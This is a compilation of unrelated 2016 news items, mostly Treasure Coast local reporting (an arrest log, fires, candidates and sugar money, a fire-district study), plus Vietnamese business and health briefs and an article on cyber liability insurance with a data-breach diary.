Let's hope one day the restaurant that made so many people feel so cozy will be able to make a comeback.

Anthony Westbury is a columnist for Scripps Treasure Coast Newspapers. This column reflects his opinion. Contact him at 772-409-1320 or anthony.westbury@scripps.com.
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Antonio Thomas, 29, 1600 block of North 15th Street, Fort Pierce; possession of a synthetic narcotic (MDMA) with intent to sell, manufacture or deliver; possession of cocaine; warrant for possession and sale of cocaine.

Princetel Toussaint, 28, 2100 block of Southwest Quarry Street, Port St. Lucie; destroying, tampering with or fabricating evidence.

Antoinette Hilliker, 50, no street address; cruelty toward child  abuse without great bodily harm (domestic).

Robert Keen, 25, 1700 block of Mallard Court, Fort Pierce; possession of marijuana over 20 grams.

Yoan Sarmiento, 36, Miami; larceny/grand theft; fraud  uttering false bank bill, note check or draft; fraud  swindle  obtain property.

Phillip Hoy, 34, Okeechobee; possession of methamphetamine within 1,000 feet of a specified area; possession of a controlled substance (methamphetamine) without a prescription; possession of a controlled substance (clonazepam) without a prescription.

Jake Smith, 27, no street address, Fort Pierce; warrants for grand theft, failure to appear, grand theft, court order for pretrial detention and termination of pretrial supervision, grand theft; hold, Indian River County, robbery by sudden snatching.

Janice Payne, 57, 900 block of Treasure Cay Drive, Fort Pierce; larceny/grand theft.

Kyle Morris, 21, 7900 block of Saddlebrook Drive, Port St. Lucie; warrant for use or possession of drug paraphernalia.

James Bailey, 57, Barnesville, Georgia; warrant for grand theft, motor vehicle.

Daniel Rodriguez, 28, 2000 block of Georgia Avenue, Fort Pierce; firing weapon  discharge firearm from a vehicle.

Charles Weatherman, 46, 2700 block of Southeast South Blackwell Drive, Port St. Lucie; FBI warrant for possession of child pornography.

Melvin Ridgley, 46, 900 block of Avenue H, Fort Pierce; warrant for violation of probation, battery.

Kanetra Jones, 20, 1400 block of 15th Street, Fort Pierce; aggravated assault with a deadly weapon without intent to kill.

Glennette Conyers, 26, 1400 block of Herder Road, Port St. Lucie; warrant for violation of probation, petty theft.

Sergio Sepe, 26, Miami; readmit, driving while license suspended, resisting arrest without violence.

Julie Murphy, 44, 400 block of 12th Street, Vero Beach; warrant for violation of probation, DUI.

Vincent Rodriguez, 27, 1300 block of Southwest Petunia Avenue, Port St. Lucie; possession of a prescription pill without a prescription. Arrested in Martin County.

Kelly Gunter, 22, 200 block of Southwest Kestor Drive, Port St. Lucie; possession of a prescription pill without a prescription; possession of cocaine. Arrested in Martin County.
The Ryanwood Square Books-A-Milion

SHARE The Books-A-Million location at Ryanwood Square in Vero Beach has closed. Photo by Lamaur Stancil The Books-A-Million location at Ryanwood Square in Vero Beach has closed. Photo by Lamaur Stancil

By Lamaur Stancil of TCPalm

772-978-2374

INDIAN RIVER COUNTY  One of the county's two Books-A-Million locations has closed after 16 years.

The bookstore at 2006 58th Ave. in the Ryanwood Square shopping center in Vero Beach is no longer open, according to signs posted on the front of the store Friday. One of the signs directs customers to the store location inside the Indian River Mall, 6200 20th St., one block west on State Road 60.

"Find us here," the signs read. "It's not far, we promise. See you soon."

That location at the mall opened in 2010. It's now the sole location on the Treasure Coast for Books-A-Million. The chain has about 250 stores in 32 states, the company said in a press release.

The Ryanwood location hosted authors for signings during the years. The writers who visited included Joanne Fluke, a culinary mystery and cookbook author, and Jason Biro, personal finance writer.

The 16,500-square-foot Ryanwood location became the 38th Books-A-Million in Florida when it opened in 2000. The chain now has 28 in the state.

Officials from the bookseller's corporate office in Birmingham, Alabama, could not be reached for comment Friday.
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By Lamaur Stancil of TCPalm

INDIAN RIVER COUNTY  The woman who was pulled from her burning car one month ago has died from her injuries, a spokesman at Kendall Burn Center in Miami said Friday.

Cheryle Coons, 58, was pulled out of her Toyota Camry after a three-car collision on March 23. Two deputies from the Indian River County Sheriff's Office fought through flames and smoke to pull Coons out of the vehicle.

Officials at Kendall did not say when Coons died. Sheriff's spokesman Lt. Eric Flowers said his agency was notified on April 12 of her death.

"Our condolences go out to the family," Flowers said. "The family said they were grateful for our efforts. I'm proud our deputies were able to give the family time to be with her before she passed away."

The deputies, Linda Nolan and Robert Sunkel, were awarded medals of heroism one week after the crash by Gov. Rick Scott. The dashboard camera video of the rescue, recorded from Sunkel's patrol car, was played more than a million times across televisions, computer screens and smartphones.

No obituary information was available Friday for Coons.

The crash happened at 10:45 a.m. March 23 when Coons, traveling south on 66th Avenue, pulled in front of an eastbound septic tank truck on Oslo Road, the Florida Highway Patrol said. That triggered a collision with a westbound garbage truck, troopers said.

Neither of the truck drivers were hurt, but flames ignited on the driver's side of the Camry. The car became fully involved in flames shortly after the deputies pulled Coons out of the car through the passenger side window, which Sunkel smashed open.

FHP is still investigating the crash. Alcohol was not a factor, troopers said.
South sugar fields, south of Lake Okeechobee, near Clewiston, (ERIC HASERT/TREASURE COAST NEWSPAPERS) PHOTOGRAPHED: WEDNESDAY JANUARY 21, 2015

By Isadora Rangel of TCPalm

Two of the 12 people running to replace U.S. Rep. Patrick Murphy accepted political contributions from the sugar industry, a controversial move in a congressional district that's ground zero for Lake Okeechobee discharges.

The donations represent a small portion of the total raised by Army veteran Brian Mast and sugar farmer Rick Roth, both Republicans. Yet the issue has caused outcry in the past as some voters and environmentalists blame the sugar industry for the discharges and some of the pollution in the Indian River Lagoon.

The troubled estuary is arguably the top local issue in the race for District 18, which covers Martin County  the most affected by discharges on Florida's east coast  as well as St. Lucie and northern Palm Beach counties. Knowing whether a candidate has taken sugar money might not be a deal breaker, as their record on environmental issues also should be a factor, but "it matters," said environmentalist Maggy Hurchalla, a former Martin County commissioner and water advocate.

Hurchalla said it also matters to know whether candidates support buying land  mostly from sugar and other agriculture interests  south of the lake to move its water into the Everglades. That would reduce discharges into the St. Lucie and Caloosahatchee rivers. Congressmen can use their bully pulpit to pressure the state to buy land and look for federal money. A bill U.S. Rep. Curt Clawson, R-Bonita Springs, filed in March would earmark $500 million for the U.S. Interior Department to purchase land, but it's stalled in the House.

The sugar industry, mainly U.S. Sugar Corp., has opposed selling land. A binding agreement to sell 153,200 acres to the state is unlikely to ever happen.

"It is preferable not to take money from the devil," Hurchalla said. "Sugar has bought a great deal of influence and they wouldn't be spending their money if they didn't want to buy influence."

Republican candidate Carl Domino, a former state representative who's funding most of his District 18 campaign, said taking money from sugar is no different than taking money from other businesses. He also said sugar companies haven't offered him any money this election, but he has friends in the industry from whom he would accept donations.

"I don't have a moral thing against it," Domino, of Jupiter, said. "There are issues with the sugar companies and they can be dealt with. I'm not really going to go out and crucify any specific contribution, but when a campaign has raised all their money from special interests, guess what, they are beholden to those special interests."

Sweet cash

The Fanjul family, owner of sugar giant Florida Crystals, hosted a Palm Beach reception last month for Mast, a retired Army staff sergeant. Mast has taken $15,500 from the family and Florida Crystals executives, and has raised $646,500 from various other sources since last year.

Mast, who moved from Broward County to North Hutchinson Island after entering the District 18 race, said he understands some voters care about who's taken sugar money, but those donations don't influence his stances.

"If you're making a contribution to me, understand it comes with zero special access, and I do what I do for the strength of this country," he said.

Roth, of Wellington, took $11,750 in sugar donations, among his $77,000 total raised. Those donations include money from his own company, Roth Farms, which grows crops other than sugar, as well as the Sugar Cane Growers Cooperative of Florida, made up of 45 small to medium-sized farms south of the lake, of which he's a member. Also on the donor list is King Ranch, a cooperative member that owns a Texas property Gov. Rick Scott and some state GOP lawmakers used for a secret 2013 hunting trip  paid for, at least partially, by the sugar industry.

Roth said these contributions are different than taking money from big companies such as Florida Crystals and U.S. Sugar because members of the cooperative are his friends.

"The bottom line is, if I have farmers supporting me, it's because they know me personally," Roth said.

The lagoon

Sugar farms stand in the way of lake water flowing into the Everglades, and environmentalists say farmers aren't paying enough to clean the water they pollute. Those farmers also benefit from price supports, quotas and tariffs Congress approved to keep sugar prices artificially high.

Murphy, a Democrat who's leaving District 18 to run for the U.S. Senate, voted to continue the sugar program through the Farm Bill, which authorizes other federal programs such as food stamps. Nevertheless, he made the Indian River Lagoon a central part of his two successful campaigns in the district, touting money he advocated for Everglades restoration in the federal budget. This strategy yielded endorsements and support from local Republican leaders and voters.

Candidates running in the Aug. 30 primary and Nov. 8 general election to replace Murphy acknowledge the lagoon issue is as important as the usual congressional election topic such as national defense and debt.

"One of the reasons for Murphy's popularity is where he stands on the issue," Hurchalla said.

Land-buying stances

Roll over candidates' pictures to see what they said about buying land south of Lake O to move water to the Everglades. Click on the red dots to go to their Ask The Candidates page.
The Ministry of Planning and Investment launched a fund worth VND2 trillion (about $90 million) this morning to promote the development of small and medium enterprises.

Data shows that Vietnam has 500,000 small and medium enterprises (SMEs), and 97 percent of new enterprises come in the form of SMEs.

Deputy Minister Dang Huy Dong said that SMEs in Vietnam have been held back due to a lack of capital and transparency. The establishment of the fund is expected to create more opportunities for these enterprises to develop, Dong added.

The fund will prioritize projects in the processing and manufacturing industry, water supplies, clean energy and garbage and sewage treatment. The $90-million fund will also focus on enterprises with a large number of female employees.

The ministry promised to lend up to 70 percent of project value with a maximum amount of VND30 billion per project. The loan will depend on the size as well as number of workers in an enterprise. Interest on one-year loans will be 5.5 percent while rates for longer loans will be fixed at 7 percent for 10 years.

Any firm wishing to borrow money from the fund must have less than 300 employees and maximum total capital of VND100 billion. In addition, enterprises must own assets of an equivalent value to the loan as a guarantee.
Martin County Fire Rescue firetruck

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By Laurie K. Blandford of TCPalm

MARTIN COUNTY  State officials have ruled the cause of the Thursday afternoon house fire in Jensen Beach was accidental, Fire Rescue official said.

Careless smoking caused the fire at a house in the 3200 block of Northeast Skyline Drive about 3:30 p.m., said Fire Rescue spokesman Bill Schobel. When firefighters arrived at the house, he said, they saw heavy smoke coming out of the windows but put out the fire within five minutes.

Firefighters pulled a woman from the home, Schobel said. She sustained traumatic injuries and was flown to Jackson Memorial Hospital in Miami, but the extent of her injuries is unknown.

No information about the woman's identity was available Friday.
State Senate District 17 candidate Ritch Workman has had a nearly 8-year legislative record as a state representative, including his leadership in abolishing DCA, overhauling the state pension system and reforming public corruption law. (FILE PHOTO)

By Melissa E. Holsman of TCPalm

INDIAN RIVER COUNTY  Tapped by Republican leaders to chair three committees in three terms, state Rep. Ritch Workman tackled pension reform, helped abolish the Department of Community Affairs in 2011 and backed this year's bill that toughened public corruption laws.

And he could be your next Uber driver if you're in Tallahassee during the legislative session.

Workman, 42, said he plans to keep his part-time taxi gig even if voters return him to Florida's capital as a senator representing all of Indian River County and southern Brevard County in the newly drawn District 17, which takes effect after the Nov. 8 general election. In the House, Workman represents the Melbourne area.

"I enjoy the conversation and laughter you get from passengers," said Workman, who touts a 4.94 out of 5 Uber rating and said he's the only Florida lawmaker he knows driving for the ride-hailing service.

The Keiser University business development director, who was elected to the House in 2008, said running for Senate has long been part of his political plan.

VETERAN LEGISLATOR

As chairman of the Rules, Calendar and Ethics Committee this year, Workman scored what he called his biggest achievement: reforming public corruption laws, something a grand jury suggested in 2010. He spearheaded the bill that adds private contractors acting on behalf of a government entity to the list of those subject to anti-corruption laws.

But Gov. Rick Scott in 2013 handed Workman a huge loss by vetoing a contentious alimony reform bill that was years in the making. The bill, which was to be applied retroactively, would have ended permanent alimony payments and allowed judges to modify some existing arrangements between ex-spouses.

"He did the right thing by vetoing that bill," Workman said, admitting his attempt to make alimony more equitable for ex-spouses would have swung the pendulum too far from the middle. "But it was a very tough bill to get passed."

The toughest bill Workman said he's championed was overhauling the state pension system in 2011, which now requires employees to contribute toward their retirement. Workman said the measure saved taxpayers the $500 million a year the state paid into the fund each year to keep it adequately funded.

"It sucks when you lose money out of your paycheck, and there are certain groups that still hate me as a result of being able to pass that bill," he said. "But I wear that as a badge of honor. I don't like it that people don't like me, but I did the right thing."

TOP ISSUES

Among the issues that matter most to Indian River County voters, Workman said, are the Indian River Lagoon, All Aboard Florida's passenger train and Vero Beach electric rates.

If elected, he said he could help negotiate a strategy for Vero Beach to buy its way out of the Florida Municipal Power Agency. Until then, he said the city should lower its electric rates equitable to what Florida Power & Light Co. customers pay.

"The big problem is they (the city council) know if they lower their rates, the only ones who are happy are people who don't vote for them," he said.

DISTRICT 17

In 2014, Workman filed election papers, created a political committee and began collecting hundreds of thousands of dollars to run for Senate District 16. Incumbent Sen. Thad Altman, R-Rockledge, cannot run for re-election because of term limits, so he is running for Workman's Brevard County House seat.

Last year's redistricting battle resulted in boundary changes and renumbered Senate districts. District 16 no longer represents Indian River County.

In the new District 17, Workman is running against state Rep. Debbie Mayfield, of Vero Beach, and physician assistant Michael J. Thomas, of Melbourne. Former Senate President Mike Haridopolos debated but declined to run.

If no Democrats file to run, Republican voters will decide the race during the Aug. 30 primary.
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By Lidia Dinkova of TCPalm

An independent fire district would work in Martin County and possibly provide savings, according to a consultant. But whether a district ever is formed now rests in the hands of elected officials.

An independent fire district would be a separate government entity from county and municipal governments, with its own board and budget.

Martin County's fire rescue now services unincorporated areas and Stuart's services the city. Sewall's Point contracts with the city and Ocean Breeze contracts with the county. Jupiter Island contracts with Martin County to supplement its public safety department.

Creating an independent fire district requires action by the Legislature and the governor's signature, according to the Florida Department of Economic Opportunity.

Before things even get that far, however, commissioners in the county, Stuart and any of the towns interested in joining the district would have to green-light the process.

The next step now is for elected officials to discuss the proposal at a joint meeting, said County Commissioner Sarah Heard.

For her part, Heard said, she supports creating an independent fire district as presented by consultant Fitch & Associates LLC.

Its study showed the county and taxpayers could save money, Heard said.

"If we would save money, why wouldn't we?" she asked after a Fitch presentation of its analysis Thursday.

Martin and Stuart fire rescue expenses for this year are $40,145,633, without including expenses for regional services such as ocean rescue, special operations, nuclear planning, emergency management and fire rescue communications, according to Fitch. About $5.4 million of that cost could be saved annually in the future if two firetrucks, one ambulance and 32 personnel budgeted positions are cut  all of which could be done while maintaining the current level of service, according to Fitch.

The personnel reduction could be achieved through attrition, Fitch said, adding it's not recommending layoffs. In addition, there's wiggle room to shut Martin County Fire Rescue Station 23 on Kanner Highway and Stuart Fire Rescue Station 1 on Martin Luther King Jr. Boulevard, also without affecting the level of service, Fitch said.

The analysis shows an opportunity for savings to residents and the city, but issues would have to be smoothed before proceeding with an independent fire district, said Stuart Commissioner Troy McDonald.

Governance of the district is one issue to be addressed, Stuart Commissioner Troy McDonald said.

There are two options for selecting a district board, according to Fitch. County and municipal commissions could select board members from among themselves or appoint residents, said Bruce Moeller, Fitch senior consultant. Or the district could be divided into geographic areas with representatives for each area running for election, he said.

Some elected officials at Thursday's meeting said they won't support an independent fire district, at least not as presented.

It's too much of an unknown, said County Commissioner Doug Smith.

"Today they (residents) know what they have, they know what it costs them, they know the level of service to expect, they know what's on their tax bill and by and large they understand that," he said.

Merging fire rescues under the county's authority, instead of under a separate fire district, is a better option, Smith said.

Sewall's Point Town Commissioner Paul Luger also said he opposes a fire district, but for different reasons.

If Sewall's Point joins an independent fire district, the owner of a $437,325 single-family home, a value less homestead exemption, would pay $839.86 a year, according to Fitch's report, released in March. The town this year is paying Stuart $372,750 for fire rescue services, according to the Fitch report.

Residents now pay on average in the mid-$200s a year, according to Luger.

"I'm not going to stand idly by and watch the tax rate go from mid-$200 to $800," Luger said.

In its report, Fitch outlined two options for a district structure: One where Martin and Stuart form a district and the other three municipalities contract for services; and another where all local governments form a district, except for Jupiter Island, which would contract for its coverage.

WHAT WOULD IT COST?

Martin and Stuart form an independent fire district; towns contract for service

Martin homeowner: $365.75

Stuart homeowner: $365.75

county and three municipalities form an independent fire district; but Jupiter Island contracts for services

Martin homeowner: $360.18

Stuart homeowner: $360.18

Sewall's Point homeowner: $839.86

Ocean Breeze homeowner: Undetermined. Town would not receive a property-tax bill because homeowners do not own the property under their mobile homes

WHAT YOU PAY NOW:

Martin homeowner: $365.81

Stuart homeowner: $423.92

Jupiter Island: Has a public-safety department; contracts with county to supplement service

Ocean Breeze: Contract with county for services

Sewall's Point: Contracts with Stuart for services

Note: The calculations are based on the average value of a single-family home, less homestead exemption

Source: Fitch & Associates LLC report
Indian River Medical Center in Vero Beach. (FILE)

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By Janet Begley, Special to Treasure Coast Newspapers

VERO BEACH  The Indian River County Hospital District will be reimbursed $518,000 it overpaid to the Indian River Medical Center for indigent patient care since October.

And instead of continuing to give IRMC a flat $563,916 each month, which is one-twelfth of the roughly $6.8 million the district budgeted this year to treat indigent patients, Hospital District trustees voted Thursday to pay only for actual expenses incurred each month. The trustees also agreed the $518,000 that hasn't been used for indigent care will be paid back at $103,635 per month for five months.

"I think everyone knows the district supports indigent care," said district Treasurer Allen Jones."It's been our practice for a number of years to budget the amount we estimate to serve the indigent population and spread that out equally throughout the year."

But that practice doesn't seem feasible anymore since the volume of indigent care services billed by the hospital has fallen significantly below the budget amounts. For example, during the month of November, IRMC only incurred indigent care costs of $209,134 but still received its budgeted $563,916 payment.

Going forward, trustees agreed to reimburse IRMC only for actual expenses it incurs for treating indigent patients, and deduct $103,365 from the next five payments to eliminate the surplus given to the hospital. It also will refuse to reimburse for any expenses that exceed the $563,916 budgeted per month for indigent care.

Trustee Dr. Val Zudans said he thought IRMC should reimburse the district for the $518,000 overpayment in a lump sum.

"We paid in excess of what we were supposed to," Zudans said. "Why don't we just even up immediately?"

But Jones said IRMC has asked to spread the payment out over four or five months to help with its cash flow.

"We have no immediate need for those funds," Jones said. "All we would do is add them to reserves."

Although IRMC CFO Greg Gardner was not at Thursday's meeting, he said by email the hospital was pleased by the trustees' decision.

"We are in total agreement that the funding should align with the actual costs incurred," Gardner said.
U.S. Rep. Patrick Murphy, D-Jupiter, attends the announcement of a 5,300-acre federal land purchase for Everglades Headwaters National Wildlife Refuge and Conservation Area at the Adams Ranch on March 24. (PATRICK DOVE/TREASURE COAST NEWSPAPERS)

Picture your congressman.

When you envision him in Washington D.C., what do you see?

Fiery speeches on the House floor? Valiant crusades against bureaucracy?

If so, let's pause for a reality check: For many members of Congress, the work involves a whole lot of time on the phone, begging for money.

It's called "dialing for dollars," and some say they hate it.

Yet their parties ask them to do it. A lot. In 2013, the Democratic Congressional Campaign Committee showed newly elected members a PowerPoint slide with a "model daily schedule." It included four hours of call time a day. You read that right: four hours each day.

That was the same year U.S. Rep. Patrick Murphy, D-Jupiter, took office representing Martin, St. Lucie and northern Palm Beach counties. He swiftly developed a reputation as a fundraising powerhouse among congressional Democrats.

So it's notable, now, that one of Murphy's rivals in the race for U.S. Senate is proposing a law that would ban members of Congress from directly soliciting campaign contributions.

U.S. Rep. David Jolly, a Republican representing the St. Petersburg area, is pushing the "Stop Act," which would restrict federal officeholders from personally raising money (the same way judges are prohibited from doing so in 30 states including Florida).

Attending fundraisers and speaking to donors still would be fair game. But all that "call time," as it's known, would become off limits.

I emailed Murphy's office, asking if he supported Jolly's proposal. It's a delicate question, of course, since the two are political opponents. It's possible they could face off in November if both win their August primary bids in the race to fill Sen. Marco Rubio's vacated seat.

The response:

"While this bill makes a good point, Patrick believes what our country really needs is comprehensive campaign finance reform that ends Citizens United and stops the flow of unaccountable, special interest money in our elections," Murphy's campaign spokeswoman Galia Slayen said in an emailed statement.

I also asked how many hours a week Murphy spends on "call time." His staff declined to answer that question.

But we can get a sense of the time suck from U.S. Rep. Steve Israel, a New York Democrat who is not running for re-election. He estimated he's logged 4,200 hours of call time since taking office 16 years ago. He described the act as being "huddled in a cubicle, dialing donors" in a January op-ed for The New York Times.

"Sometimes double dialing and triple dialing," Israel wrote. "Whispering sweet nothings and other small talk into the phone in hopes of receiving large somethings."

Not exactly the people's work we envision when we send elected officials to Washington D.C., huh?

And not all members participate to that degree. U.S. Rep. Bill Posey, R-Rockledge, also from the Treasure Coast, "hasn't spent a minute in a call booth in years," spokesman George Cecala told me.

Posey plans to take a closer look at Jolly's proposal  but he's more focused on his own "revolving door" reform bill that would ban members of Congress from becoming lobbyists within five years of their departure from office.

Make no mistake: Jolly is not a fundraising purist. He's not refusing big corporate donations, a la Bernie Sanders. On the contrary, he has benefitted from very large contributions from outside groups. In 2014, when he beat Democrat Alex Sink to get elected to Congress, groups including the U.S. Chamber of Commerce pumped about $5 million into Jolly's efforts, according to the Center for Public Integrity.

That brings us back to Murphy's call for comprehensive campaign finance reform. He has talked about undoing the damage of the 2010 Citizens United ruling that enabled unlimited super PAC spending.

Yet Murphy has greatly benefitted from the super PAC system he says he wants to end.

Since December, Murphy's father has given $500,000 to a super PAC supporting Murphy's bid for Senate. That's more than half the contributions to the committee, Floridians for a Strong Middle Class.

Money in politics is a central campaign issue this election year  from the top of the ballot to the bottom.

The question is, do any of these self-proclaimed reformists have the chops to follow through on what they're promising?
Oil Spill Commission Co-Chair Sen. Bob Graham (right) with Co-Chair William Reilly (second from right), commissioners Frances Beinecke (left) and Cherry Murray (second from left) delivers his remarks at a National Commission on the BP Deepwater Horizon Spill and Offshore Drilling meeting on response following the BP spill, impacts on the Gulf and approaches to long-term restoration in Washington on Sept. 27, 2010. (AP Photo/Manuel Balce Ceneta)

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By Hannah Schwab of TCPalm

On April 11, CBS's "60 Minutes" led with an important segment about the tragedy of 9/11 and how a 28-page chapter of the final report of a congressional investigation has been withheld from the American people for almost 13 years.

Former senator and Florida governor Bob Graham, who was a co-chairman for the 2002 joint congressional inquiry into the Sept. 11, 2001 attacks, is arguing the government should declassify the remaining 28 pages of the 9/11 Commission report.

Graham believes these pages show that members of the Saudi Arabian government helped the 9/11 hijackers carry out the attack.

Editor's note: This is not a scientific poll.
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The U.S. Centers for Disease Control and Prevention is one of the sponsors of the FETP in Vietnam. : Reuters

The fourth annual scientific conference on Field Epidemiology Training Program (FETP) - a program aimed to build trained epidemiologists who can rapidly respond to disease outbreaks and other public health events, was held in Da Nang City this week.

Over 100 public health leaders in Vietnam have attended the event, including international participants from the U.S. Centers for Disease Control and Prevention (CDC), the World Health Organization (WHO) and graduates of the FETP in Australia, the Philippines and Indonesia.

Supported by the U.S. CDC, the WHO and other global groups, FETP in Vietnam is a two-year program led by Vietnam Health Ministry's General Department of Preventive Medicine.

FETP fellows are the frontline of any strong public health system. When a disease outbreak occurs, such as in the recent Zika virus cases in Vietnam, they are the disease detectives that go into the field and investigate the outbreak. Through the program, they receive hands-on training and mentoring to use scientific approaches to identify causes and trends of public health issues, said Dr. Anthony Mounts, Country Director of the U.S. CDC in Vietnam.

There are currently 22 field epidemiologists who have completed the program since FETP was established in Vietnam in 2009. FETP fellows have contributed to public health in Vietnam through their involvement of outbreak responses such as cholera, avian and pandemic influenza, and hand foot and mouth disease.

During the program, fellows conduct independent research studies which are then used to inform timely and effective disease outbreak response. Research topics include zoonotic diseases transmitted from animals to humans, foodborne diseases, vaccine preventable diseases and immunization, HIV/AIDS and other communicable diseases.
If the rash of data breaches in recent months has done anything for businesses, its raised their awareness of cyber liability insurance.

The market for cyber liability insurance is expected to increase dramatically as businesses become more aware that their current policies dont adequately cover cyber-risks, according to theNational Association of Insurance Commissioners.

However, a three-judge federal appeals panel last week threw into question just how inadequately existing insurance products cover cyber-risks.

Portals Pleasant Surprise

The case before the appeals court involves a class-action lawsuit about a data breach at Portal Healthcare Solutions.

Portal has a form of insurance thats de rigueur for most businesses called a commercial general liability policy. Its a kind of umbrella policy thats supposed to cover a variety of unforeseen mishaps.

Portal argued that its CGL policy, issued byTravelers Indemnity, should cover the court costs of the data breach lawsuit.

A lower court agreed with Portal, and the appeals court agreed with the lower court.

What makes the decision important, particularly for small businesses that may not be able to afford cyber liability insurance, is that they may have some data breach coverage that they didnt know they had.

That could cover some gaps in existing coverage, too. Although 64 percent of companies have already gone the cyber liability route, many small breaches fall below policy deductibles, leaving companies to pick up the tab, according to a survey released last month byAdvisen.

Decisions Limitations

Despite the appellate courts decision, businesses should not be too optimistic about their CGLs providing a large measure of cyber liability coverage, noted Collin Hite, an insurance recovery attorney withHirschler Fleischer.

Those types of cases very much depend on the language in the policy involved in the case, he told TechNewsWorld.

Moreover, Hite added, the court did not rule on whether Portals policy would pay for damages if the healthcare provider lost the case  it only said Travelers had to pay the legal costs in the case.

The court is not saying that Travelers has to pay the verdict or not. All its saying is Travelers must pay for the insureds defense counsel and to defend the case, he said.

A lot of times, though, the defense of the case in the most expensive component of the lawsuit because the plaintiffs may not be able to prove any damages, Hite added.

Short-Lived Victory

Cases like Portals are more likely to involve older CGL policies because newer ones specifically exclude anything related to data breaches in the coverage.

What you see now in most standard liability insurance policies like CGLs is that insurance companies are excluding coverage for liability that arises from a data breach, said Alex Purvis, an attorney withBradley Arant Boult Cummings.

Whats unique about the Portal decision is that the policy did not have that type of exclusion, he told TechNewsWorld. It may be one of the few remaining policies without that exclusion.

When Portals CGL is up for renewal, it likely will include a cyber exclusion. This is probably a short-lived victory, Hite predicted. The insurers will rally to close what they see as a potential loophole.

Nevertheless, all companies can learn a valuable lesson from the case.

If you are a company that faces liability from a data breach, you should not forget some of your standard liability policies, particularly if do not have cyber coverage, Purvis said.

Cyber Insurance Still Best Buy

Even if some of a companys cyber exposures are covered in a CGL, it makes more sense to get a cyber liability policy, maintained Jeremy Henley, director of breach services atID Experts.

I would absolutely recommend companies buy cyber insurance in almost every case, he told TechNewsWorld.

The type of policy and the amount can change a lot, but every company has private information and technology involved in their organization, even if its just payroll, Henley continued.

A cyber policy is a prudent step, he said. Its frankly much safer for a policyholder to look at and consider a standalone cyber policy. Its really in their best interest.

Breach Diary

April 11. The Washington Post reports data for 44,000 customers of the Federal Deposit Insurance Corp. is at risk after information inadvertently was downloaded to a personal storage device.

April 11. Three school districts in Mississippi report dozens of employees have complained about problems filing their federal tax returns due to a data breach at a third-party provider.

April 11. Palm Beach County Health Department in Florida announces the U.S. Justice Department has provided it with a list of 1,000 clients who were victims of a data breach at the healthcare provider.

April 12. JMW Solicitors announces 5,954 current and former employees of supermarket chain Morrisons have joined a lawsuit against the company seeking damages for data breach that exposed on the Internet personal information of 99,998 staffers.

April 12. The Identity Theft Resource Center reports that since 2005, there have been 6,013 reported data breaches in the United States exposing 851 million records.

April 13. Facebook announces Account Kit SDK, a method for developers, websites and Web apps to eliminate usernames and passwords to authenticate users.

April 13. Wandera reports CBS failed to properly use encryption on its March Madness apps and exposed users data to risk of theft. CBS denies apps were vulnerable.

April 13. Olympia School District in Washington announces it will offer 2,164 employees free credit monitoring services after their sensitive information was emailed to a fraudster posing as the superintendent of the school district.

April 13. American College of Cardiology announces it has notified 1,400 institutions some of their patient data is at risk after it was accidentally posted to a test site. [*Correction  April 22, 2016]

April 13. Rockhurst University states it has notified 1,300 people employed by the school in 2015 that their tax information was emailed to a third party posing as a university administrator.

April 14. European Parliament gives final approval to the General Data Protection Regulation, which includes a requirement that companies report a data breach within 72 hours of discovering it.

April 14. The city of Baltimore announces it is warning all it employees their tax information may have been compromised because of a data breach of its payroll and tax information systems.

April 14. U.S. Appeals Court overturns lower court ruling to revive a US$5 million lawsuit stemming from 2014 data breach at restaurant chain P.F. Changs.

April 14. Market research firm Kantar Worldpanel ComTech reports a 3.2 percent increase in new customer during first quarter for TalkTalk, which last year suffered a data breach affecting 157,000 customers.

April 15. Softpedia reports more than 179,000 records from the Fappening Forum, a website known for its nude photos of celebrities, have been posted by Troy Hunt to the Have I Been Pwned? website.

Upcoming Security Events

April 20-22. CSA Summit 2016. Lichtstr. 43i, first floor, Cologne, Germany. Registration: 500 euros.

April 23. B-Sides ROC. B. Thomas Golisano College of Computing and Information Sciences, Rochester Institute of Technology, 20 Lomb Memorial Drive, Rochester, New York. Free with registration.

April 23-24. B-Sides Charm City. Baltimore Convention Center, One West Pratt St., Baltimore. Tickets: $15 to $60.

April 25. Some Musings on Cyber Security by a Cyber Iconoclast. 1:30-3 p.m. ET. University of New Haven, Tagliatela College of Engineering, Buckman Hall, Schumann Auditorium, room B120, 300 Boston Post Road, New Haven, Connecticut. Presentation by Professor Gene Spafford, Purdue University. Free with registration.

April 26. 3 Key Considerations for Securing Your Data in the Cloud. 1 p.m. ET. Webinar sponsored by BrightTalk. Free with registration.

April 27. Chilling Effects: Insights on How Laws and Surveillance Impact People Online. Noon ET. Berkman Center for Internet & Society, Harvard University, 23 Everett St., Second Floor, Cambridge, Massachusetts. Lecture by Jon Penney, Oxford Internet Institute. Free with RVSP.

April 28-29. B-Sides Calgary. SAIT Polytechnic (Orpheus Theater), 1301 16 Ave. NW, Calgary, Alberta. Tickets: students, CA$20; professional, CA$50; VIP, CA$150.

April 28. Ransomware Resurgence: Locky and Other New Cryptolockers. 2 p.m. ET. Webinar by Cyphort. Free with registration.

May 3. Dallas Cyber Security Summit. Omni Dallas Hotel, 555 S. Lamar, Dallas. Registration: $250.

May 4. SecureWorld Kansas City. Overland Park Convention Center, 6000 College Blvd., Overland Park, Kansas. Registration: conference pass, $195; SecureWorld Plus, $625; exhibits and open sessions, $30.

May 7. B-Sides Chicago. Concord Music Hall, 2047 N. Milwaukee Ave., Chicago. Free.

May 11. SecureWorld Houston. Norris Conference Centre, 816 Town and Country Blvd., Houston. Registration: conference pass, $195; SecureWorld Plus, $625; exhibits and open sessions, $30.

May 18-19. DCOI|INSS USA-Israel Cyber Security Summit. The Marvin Center, 800 21st St. NW, Washington, D.C. Hosted by George Washington University. Free.

May 20-21. B-Sides Boston. Microsoft NERD, 1 Memorial Drive, Cambridge, Massachusetts. Tickets: $20.

May 21. B-Sides Cincinnati. University of Cincinnati, Tangeman University Center, Cincinnati. Tickets: $10.

May 21. B-Sides San Antonio. St. Marys University, One Camino Santa Maria, San Antonio, Texas. Tickets: $10.

June 1-2. SecureWorld Atlanta. Cobb Galleria Centre (Ballroom), Atlanta. Registration: conference pass, $325; SecureWorld plus $725; exhibits and open sessions, $30.

June 9. SecureWorld Portland. Oregon Convention Center. Registration: conference pass, $325; SecureWorld plus $725; exhibits and open sessions, $30.

June 13-16. Gartner Security & Risk Management Summit. Gaylord National Resort & Convention Center, 201 Waterfront St., National Harbor, Maryland. Registration: until April 15, $2,950; after April 15, $3,150; public sector, $2,595.

June 22. Combatting Targeted Attacks to Protect Payment Data and Identify Threats. 1 p.m. ET. Webinar by TBC. Free.

